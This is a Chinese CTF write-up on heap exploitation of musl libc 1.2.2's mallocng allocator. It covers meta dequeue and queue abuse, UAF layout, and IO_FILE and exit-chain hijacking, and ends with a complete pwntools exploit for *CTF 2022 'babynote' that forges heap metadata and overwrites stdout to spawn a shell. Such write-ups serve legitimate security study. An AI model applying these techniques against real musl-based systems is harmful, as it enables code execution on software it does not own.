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Pwn-小小做题家之——musl 1.2.2的利用手法

推荐 原创

周杰伦

文章分类 游戏逆向 游戏开发 编程技术 加壳脱壳 阅读数 : 421 阅读时长 : 9分钟

前言

看了0xRGZ师傅的博客，觉得自己是懂musl的，小摸了一篇。做题的时候发现自己学的和写的是1托4，利用和学机制真的不太一样，在照着xyzmpv师傅的博客复现今年*ctf的babynote的过程中逐行调试才恍然大物。在这里简单记录一下复现中学到的musl 1.2.2的利用手法

常见利用手法

meta dequeue的利用

流程

一般是下面两种：

 

（1）free->nontrivial_free()->dequeue

 

（2）malloc->alloc_slot->dequeue

 

(触发详情可见笔者的musl手动编译测试文章或者0xRGZ师傅的文章)

效果

任意地址写

利用思路

meta dequeue是一个类似于glibc里面双链表结构bin取出堆块的unlink操作，源码如下：

 

(在/musl-1.2.2/src/malloc/mallocng/meta.h目录下)

 

img

 

如果我们劫持meta的pre和next，就可以达到无任何检查的unlink的任意地址写的操作

利用过程

同样，从一个简单的demo入手：

 

（下述调试的偏移均未开ASLR保护的U2004环境，可以通过echo 0 > /proc/sys/kernel/randomize_va_space设置，然后偏移应该就是一样的了）

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/ *
在musl - 1.2 . 2 目录下编译和链接：
. / obj / musl - gcc main.c - o test
patchelf - - set - interpreter . / libc.so . / test
(libc.so就用题目附件给的就好)
* /
#include<stdio.h>
#include <unistd.h>
 
void init()
{
         setbuf(stdin, 0 );
         setbuf(stdout, 0 );
         setbuf(stderr, 0 );
}
 
int main() {
 
         init();
         size_t * p1;
         p1 = (size_t * )malloc( 0x20 ); / / 1
         read( 0 ,p1, 0x10 );
         free(p1);
         return 0 ;
}

目标：给0x555555559f00赋值0x55555555b300

 

首先断在这个地方：

 

img

 

此时meta的构造如下：

 

img

 

img

 

发现此时这个meta指向自身，我们通过set指令修改它的pre和next：

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set * 0x55555555b298 = 0x555555559ef8
set * 0x55555555b2a0 = 0x55555555b300

修改过后，ni 发现会卡在一个地方：

 

img

 

但是我们发现dequeue其实是执行了的，也就是我们成功给0x555555559f00赋值0x55555555b300：

 

img

 

为啥会卡住呢？我们着重分析分析118行这里的源码

 

这里的m是一个meta，而且是0x298的next，也就是0x55555555b300。mheap一下也能发现原来的0x298被换成了一个新的meta：

 

img

 

这里也提醒了我们，meta->mem即存group地址的地方是空的，也正是因为这个，在mozxv那行汇编引用[rax+8]就会卡住。于是我们考虑用set补充一下这个地方（将0xb340这个地址当作group）：

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set * 0x55555555b310 = 0x55555555b340
set * 0x55555555b314 = 0x5555

(不知道为啥这些地方set就只能一次4字节)

 

但还不够，group也要索引到meta，即group的首地址得存放meta的地址。这是因为malloc和free的时候存在get_meta的检查，部分源码如下：

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const struct group * base = (const void * )(p - UNIT * offset - UNIT);
/ / 根据chunK获取group和meta p为chunk指针
const struct meta * meta = base - >meta;
assert (meta - >mem = = base); / / 检查
assert (index < = meta - >last_idx);
assert (!(meta - >avail_mask & ( 1u <<index)));
assert (!(meta - >freed_mask & ( 1u <<index)));
/ / 通过bitmap进行两次检查，确保avail和freed mask的bitmap不会越界
const struct meta_area * area = (void * )((uintptr_t)meta & - 4096 );
/ / meta area和meta在一页内，meta area在页开头（实际就是清除了meta的十六进制低三位）
assert (area - >check = = ctx.secret); / / 检查area中的secret

重点检查就是secret和meta->mem。secret也就是meta_addr & -0x4096（即低三位为0的地址），很幸运的是恰好这里就是screat：(0xb300清除后三位被称作meta_area的地方，与meta处于同一页中)

 

img

 

meta->mem也就是group的首地址，要设置成meta的地址。同样用set：

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set * 0x000055555555b340 = 0x55555555b300
set * 0x000055555555b340 = 0x5555

设置好过后，ni就能成功free然后实现任意地址写了

meta queue的利用

上面介绍dequeue利用的时候，有个active[2]中的meta从0x298换成0x55555555b300，触发了dequeue实现了active[2]上面meta的替换。这是在active[2]非空的情况下的替换。但当active为空，我们又怎么让它凭空“长”一个meta出来呢？我们看看meta.h下的nontrivial_free函数（和前面的dequeue是一个函数）：

 

img

 

发现就是if和else if的关系，if那条分支其实检查的是mask是否符合条件（是否满了，要么全用了要么全free，这里肯定是检查是否已经用了的堆块全free），ok_2_free其实检查的是meta的free_able标记（因为其它条件基本能满足）：

 

img

 

只要满足free_able为0，就可执行else if分支。else if分支需要满足sc<48，伪造的时候注意即可，然后就是检查active[sc]上面的meta是否是即将加入的m，我们伪造的时候一般针对的是空的active，这里就直接通过了。然后就到了queue里面：

 

img

 

这里的phead其实就是active，m是即将被放入active的meta，执行的肯定是else的分支（因为active为空），然后我们就成功把伪造的meta m加入active[sc]了。malloc(sc*0x10)就能从伪造的meta找到伪造的group，然后从伪造的group取出堆块

效果

实现任意地址申请

利用流程

当伪造的group的地址为我们想要修改的地址-0x10的时候，在满足条件的情况下，就能通过malloc(sc*0x10)申请出想要修改的地址进行修改

 

下面谈谈如何伪造满足条件的meta和group实现任意地址申请：

 

（1）首先需要满足meta_area和meta处于同一页，一般都是采用申请大堆块使得通过mmap分配，然后通过padding使得meta_area和meta处于同一页

 

（2）然后需要满足meta_area的首地址为screat，这个也好满足，在padding过后紧接着就行

 

（3）伪造meta：伪造prev,next,mem，以及last_idx, freeable, sc, maplen四合一的一位。一般需要伪造两种meta（同一个，执行完一个功能过后通过复写切换），一种用来dequeue任意地址写修改最后fake_group的首地址为fake_meta的地址从而通过get_meta的检查；另一种严格保证不会被free掉，从而执行queue被加进active[sc]达成任意地址申请修改的目的。

 

（4）伪造group：首地址为fake_meta的地址，+0x8的active_idx一般修改为1即可

 

（5）free(group+0x10)来执行nontrivial_free：总共执行两次。第一次dequeue将fake_group（即target-0x10）写入fake_meta，第二次queue将fake_meta加入active[sc]

 

（6）malloc(sc*0x10)申请出target进行修改

 

伪造的模板如下：（两种meta的区别本质上是通过修改四合一位来实现的，也就是在free(fake_chunk)的时候nontrivial_free走的是if还是else if）

 

（1）伪造meta

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伪造dequeue - meta:
```
     last_idx, freeable, sc, maplen = 0 , 1 , 8 , 1
     #fake meta
     fake_meta = p64(stdout - 0x18 )                  # prev
     fake_meta + = p64(fake_meta_addr + 0x30 )         # next
     fake_meta + = p64(fake_mem_addr)                 # mem
     fake_meta + = p32( 0 ) + p32( 0 )                    # avail_mask, freed_mask
     fake_meta + = p64((maplen << 12 ) | (sc << 6 ) | (freeable << 5 ) | last_idx)
     fake_meta + = p64( 0 ) #duiqi
```
伪造queue - meta(或者伪造替换group时不希望meta被free):
     last_idx, freeable, sc, maplen = 1 , 0 , 8 , 0 #freeable置0是为了拒绝ok to free校验，防止释放meta
     fake_meta = p64( 0 )                              # prev
     fake_meta + = p64( 0 )                             # next
     fake_meta + = p64(fake_mem_addr)                 # mem
     fake_meta + = p32( 0 ) + p32( 0 )                    # avail_mask, freed_mask
     fake_meta + = p64((maplen << 12 ) | (sc << 6 ) | (freeable << 5 ) | last_idx)
     fake_meta + = p64( 0 )

（2）伪造group

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fake_mem = p64(fake_meta_addr)                  # meta
fake_mem + = p32( 1 ) + p32( 0 )

（3）拼接payload

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payload = padding ##页对齐
payload + = p64(secret) + p64( 0 ) ## +p64(0)是为了补齐
payload + = fake_meta + b '\n'

UAF

效果

任意地址泄露或者任意地址写

利用过程

musl的UAF和glibc的有点不太一样，这是因为musl的堆块free过后不会立马被再次使用。这是由meta的avail_mask和freed_mask限制的。申请group对应大小的堆块，会优先使用avail_mask上还是1的位置对应的堆块。当avail_mask变成0了会检测freed_mask是否为0，如果为0则该meta可以dequeue了（即malloc触发的dequeue），反之则会将avail_mask异或上freed_mask同时将freed_mask置为0，取出当前avail_mask从低到高第一个非0位对应的堆块作为malloc（或者其它内存申请函数）的返回值，并将该位置为0

 

所以，musl的堆题处处充满了风水。。。举个栗子：

 

img

 

注意avail_mask和freed_mask，idx为1（group的第二个）的chunk此时是free状态，但是我们申请的话，其实是申请到idx为9的堆块。这就是musl管理chunk和glibc不太一样的地方，相应的UAF利用，比如idx为1的堆块存在UAF，我们想构造它既是note又是note上的关键位置（比如content这类能通过show函输泄露的地方），就只能等先取出idx为9的堆块才能申请出它了。

IO_attack

musl没有glibc的大多hook，但有我们pwnpwn人最喜欢的（白洋淀啥都喜欢十八）IO_FILE。下面给出一条链子供给参考：

 

puts->fputs_unlocked->fwrite_unlocked->__fwritex+142（call rax）

 

这里的rax是通过r12赋值的：

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mov    rax, qword ptr [r12 + 0x48 ]
call rax

而r12：R12 0x7ffff7ffb280 (__stdout_FILE) ◂— 0x68732f6e69622f / '/bin/sh' /

 

那我们就可以利用meta dequeue&queue实现任意地址写__stdout_FIE

 

伪造的IO_FILE模板如下：

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fake_IO  = b '/bin/sh\x00'                       # flags
fake_IO + = p64( 0 )                               # rpos
fake_IO + = p64( 0 )                               # rend
fake_IO + = p64(libc_base + 0x5c9a0 )             # close
fake_IO + = p64( 1 )                               # wend
fake_IO + = p64( 0 )                               # wpos
fake_IO + = p64( 0 )                               # mustbezero_1
fake_IO + = p64( 0 )                               # wbase
fake_IO + = p64( 0 )                               # read
fake_IO + = p64(libc_base + libc.sym[ 'system' ])  # write

其实就改了改三个点，flags，wend和write。原来的长这样：

 

img

 

改wend其实是因为在call rax之前还有这个检查：

 

img

exit_attack

同样给出一条参考链子（感谢CatF1y师傅的点拨）：

 

exit->stdio_exit_needed->stdio_exit_needed->close_file

 

最后的close_file长这样：

 

img

 

最终执行的是call [rbp+0x48]，在call之前贴心的把edx和esi给清空了，简直是给execve函数量身定制的。rdi是rbp，是在这个地方赋值的：

 

img

 

只要劫持ofl_head为一个可控的结构体（堆块或bss），在上面赋值就可以getshell。这样只需要meta dequeue的一次任意地址写并且函数里有exit就能getshell了

例题：【*ctf2022】babynote

版本

./libc.so即可看查libc版本：

 

img

保护

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ida

main

img

 

实现了增删查三种功能

add

img

 

熟悉的结构题题，通过calloc申请0x20大小的note：

 

img

 

name和content都是自定大小的calloc堆块，黄色箭头的是chain上的note。这里的chain其实指这题的note之间是通过链表连起来的，有一个全局链表头global_note。通过头插法插入note（大家可以自行画图理解）

find（也就是show）

img

 

这个函数的流程大体如下：

 

读入size和key，通过list_pass遍历chain，找到name_size和读入的size相同且name和key相同的note，返回给v3。然后通过大端序列显示v3的内容：

 

img

delet

img

 

也是通过list_pass寻找和输入的key以及size对应的note。重点放在下面的if和else分支，发现只有else分支会清除指针，if分支不会，也就是说当chain中的note不少于两个的时候就会存在UAF。通过这个UAF我们能创造一个既是note（记为A），同时也是一个note的content（记为B）的堆块，然后通过find打印B的content即可泄露libcbase和elfbase。由于musl libc的堆是静态堆，也就相当于泄露了堆地址（elfbase和heapbase泄露一个就行，这点和glibc是不一样的）

 

利用流程：

 

已知存size为0x30的group最多能存10个堆块（0~9）

 

（1）通过find的calloc和free二连将avail_mask设置成0b1000000000，free_mask设置为0b0111111110：

 

img

 

（2）通过add（namesize=xxx,contentsize=0x28）将globa_note设置为B(idx=9)，同时B的content将被设置为A(idx=1)

 

（3）delet B（同时A也会被删除，因为delet也会删除content），通过add更新A的name和content

 

（4）通过find show B的content，即可泄露libcbase和elfbase

 

由于泄露是大端自序泄露，所以需要特殊的手法来操作exp接收的字符：

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libcbase = u64(p64( int (r.recv( 16 ), 16 ),endianness = "big" )) - 0xb7d60

后面还可以利用这个特性，通过find直接修改B的content为__malloc_context泄露secret（任意地址泄露）；或是改成合法的chunk（任意地址free）

forget

img

利用思路

（1）通过UAF 泄露elfbase和libcbase以及secret

 

（2）然后申请大堆块在mmap的内存段布置好fake meta

 

（3）通过任意free，执行dequeue使得target-0x10为fake meta的地址；执行queue将fake meta放入active[sc]

 

（4）calloc（sc*0x10）申请出stdout_file进行修改从而劫持puts函数的io执行流为system("/bin/sh")getshell

exp

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# -*- coding: utf-8 -*-
from platform import libc_ver
from pwn import *
from hashlib import sha256
import base64
context.log_level = 'debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
 
io = lambda : r.interactive()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
se = lambda a : r.send(a)
sa = lambda a,b : r.sendafter(a,b)
lg = lambda name,data : log.success(name + ":" + hex (data))
 
def z():
     gdb.attach(r)
 
def cho(num):
     sla( "option: " , str (num))
 
def add(namesz,name,notesz,note):
     cho( 1 )
     sla( "name size: " , str (namesz))
     sa( "name: " ,name)
     sla( "note size: " , str (notesz))
     sa( "note content: " ,note)   
 
def find(namesz,name):
     cho( 2 )
     sla( "name size: " , str (namesz))
     sa( "name: " ,name)
 
def delet(namesz,name):
     cho( 3 )
     sla( "name size: " , str (namesz))
     sa( "name: " ,name)
 
def remake():
     cho( 4 )
 
def exp():
     global r 
     global libc
     r = process( "./babynote" )
     libc = ELF( './libc.so' ) 
 
     ## leak libcbase && elfbase
     add( 0x38 , "a" * 0x38 , 0x38 , "a" * 0x38 )
     cho( 4 )
     for _ in range ( 8 ):
         find( 0x28 , "a" * 0x28 )
     add( 0x38 , "2" * 0x38 , 0x28 , "2" * 0x28 )
     add( 0x38 , "3" * 0x38 , 0x38 , "3" * 0x38 )
     delet( 0x38 , "2" * 0x38 )
     for _ in range ( 6 ):
         find( 0x28 , "a" * 0x28 )
     add( 0x38 , "4" * 0x38 , 0x58 , "4" * 0x58 ) 
     find( 0x38 , "2" * 0x38 )
     r.recvuntil( "0x28:" )
     libcbase = u64(p64( int (r.recv( 16 ), 16 ),endianness = "big" )) - 0xb7d60
     elfbase = u64(p64( int (r.recv( 16 ), 16 ),endianness = "big" )) - 0x4c40
     log.success( "libcbase:" + hex (libcbase))
     log.success( "elfbase:" + hex (elfbase))
 
     ## set libcfunc
     malloc_context = libcbase + 0xb4ac0
     mmap_base = libcbase - 0xa000
     fake_meta_addr = mmap_base + 0x2010
     fake_mem_addr = mmap_base + 0x2040
     stdout = libcbase + 0xb4280   
     ## leak secret
     for _ in range ( 6 ):
         find( 0x28 , "a" * 0x28 )
     pd = p64(elfbase + 0x4fc0 ) + p64(malloc_context) + p64( 0x38 ) + p64( 0x28 ) + p64( 0 )
     find( 0x28 ,pd)
     find( 0x38 , "a" * 0x38 )
     r.recvuntil( "0x28:" )
     secret = u64(p64( int (r.recv( 16 ), 16 ),endianness = "big" ))
     lg( "secret" ,secret)
 
     ## set fake meta
     add( 0x28 , "5" * 0x28 , 0x1200 , '\n' )
     last_idx, freeable, sc, maplen = 0 , 1 , 8 , 1
     #fake meta
     fake_meta = p64(stdout - 0x18 )                  # prev
     fake_meta + = p64(fake_meta_addr + 0x30 )         # next
     fake_meta + = p64(fake_mem_addr)                 # mem
     fake_meta + = p32( 0 ) + p32( 0 )                    # avail_mask, freed_mask
     fake_meta + = p64((maplen << 12 ) | (sc << 6 ) | (freeable << 5 ) | last_idx)
     fake_meta + = p64( 0 ) #duiqi
     #fake group
     fake_mem = p64(fake_meta_addr)                  # meta
     fake_mem + = p32( 1 ) + p32( 0 )                    
     payload = b 'a' * 0xaa0
     #fake meta area
     payload + = p64(secret) + p64( 0 )
     payload + = fake_meta + fake_mem + '\n'
     find( 0x1200 ,payload)
 
     ## dequeue 2 set stdout_file -0x10 (where the final fake group)
     for _ in range ( 3 ):
        find( 0x28 , "a" * 0x28 )
     pd = p64(elfbase + 0x4fc0 ) + p64(fake_mem_addr + 0x10 ) + p64( 0x38 ) + p64( 0x28 ) + p64( 0 )
     add( 0x38 , "6" * 0x38 , 0x28 ,pd)
     delet( 0x38 , "a" * 0x38 )
 
     ## reset fake meta , free fake chunk 2 queue it(queue the fake meta)
     last_idx, freeable, sc, maplen = 1 , 0 , 8 , 0 #freeable置0是为了拒绝ok to free校验，防止释放meta
     fake_meta = p64( 0 )                              # prev
     fake_meta + = p64( 0 )                             # next
     fake_meta + = p64(fake_mem_addr)                 # mem
     fake_meta + = p32( 0 ) + p32( 0 )                    # avail_mask, freed_mask
     fake_meta + = p64((maplen << 12 ) | (sc << 6 ) | (freeable << 5 ) | last_idx)
     fake_meta + = p64( 0 )
     fake_mem = p64(fake_meta_addr)                  # meta
     fake_mem + = p32( 1 ) + p32( 0 )
     payload = b 'a' * 0xa90
     payload + = p64(secret) + p64( 0 )
     payload + = fake_meta + fake_mem + b '\n'
     ##z()
     find( 0x1200 , payload)
     for _ in range ( 2 ):
         find( 0x28 , 'a' * 0x28 )
     pd = p64(elfbase + 0x5fc0 ) + p64(fake_mem_addr + 0x10 ) + p64( 0x38 ) + p64( 0x28 ) + p64( 0 )
     add( 0x38 , "7" * 0x38 , 0x28 ,pd)
     delet( 0x38 , "a" * 0x38 )
 
     ## reset fake meta's group at stdout_file -0x10
     last_idx, freeable, sc, maplen = 1 , 0 , 8 , 0
     fake_meta = p64(fake_meta_addr)                 # prev
     fake_meta + = p64(fake_meta_addr)                # next
     fake_meta + = p64(stdout - 0x10 )                 # mem
     fake_meta + = p32( 1 ) + p32( 0 )                    # avail_mask, freed_mask
     fake_meta + = p64((maplen << 12 ) | (sc << 6 ) | (freeable << 5 ) | last_idx)
     fake_meta + = b 'a' * 0x18
     fake_meta + = p64(stdout - 0x10 )
     payload = b 'a' * 0xa80
     payload + = p64(secret) + p64( 0 )
     payload + = fake_meta + b '\n'
     find( 0x1200 , payload) 
     ## calloc to edit stdout 2 IO_attack
 
     cho( 1 )
     sla( 'name size: ' , str ( 0x28 ))
     sa( 'name: ' , '\n' )
     sla( 'note size: ' , str ( 0x80 )) #sc为8
     fake_IO  = b '/bin/sh\x00'                       # flags
     fake_IO + = p64( 0 )                               # rpos
     fake_IO + = p64( 0 )                               # rend
     fake_IO + = p64(libcbase + 0x5c9a0 )             # close
     fake_IO + = p64( 1 )                               # wend
     fake_IO + = p64( 0 )                               # wpos
     fake_IO + = p64( 0 )                               # mustbezero_1
     fake_IO + = p64( 0 )                               # wbase
     fake_IO + = p64( 0 )                               # read
     fake_IO + = p64(libcbase + libc.sym[ 'system' ])  # write
     ##z()
     sl(fake_IO)
     io()
 
if __name__ = = '__main__' :
     exp()

不足之处

dequeue和queue的触发不止free这种，但笔者精力有限没能全部研究透彻（不过如果以后搞嵌入式真的需要研究这方面的漏洞的话再行分享hh）。但是比起glibc，musl的libc真的缩减了很多，属于是那种比赛的时候可以现找漏洞点的。所以没涉及的地方就交给读者自行研究了，感谢阅读~

参考链接

感谢xyzmpv师傅的题解以及 师傅的musl源码解析~

 

 



更多【小小做题家之——musl 1.2.2的利用手法】相关视频教程：www.yxfzedu.com




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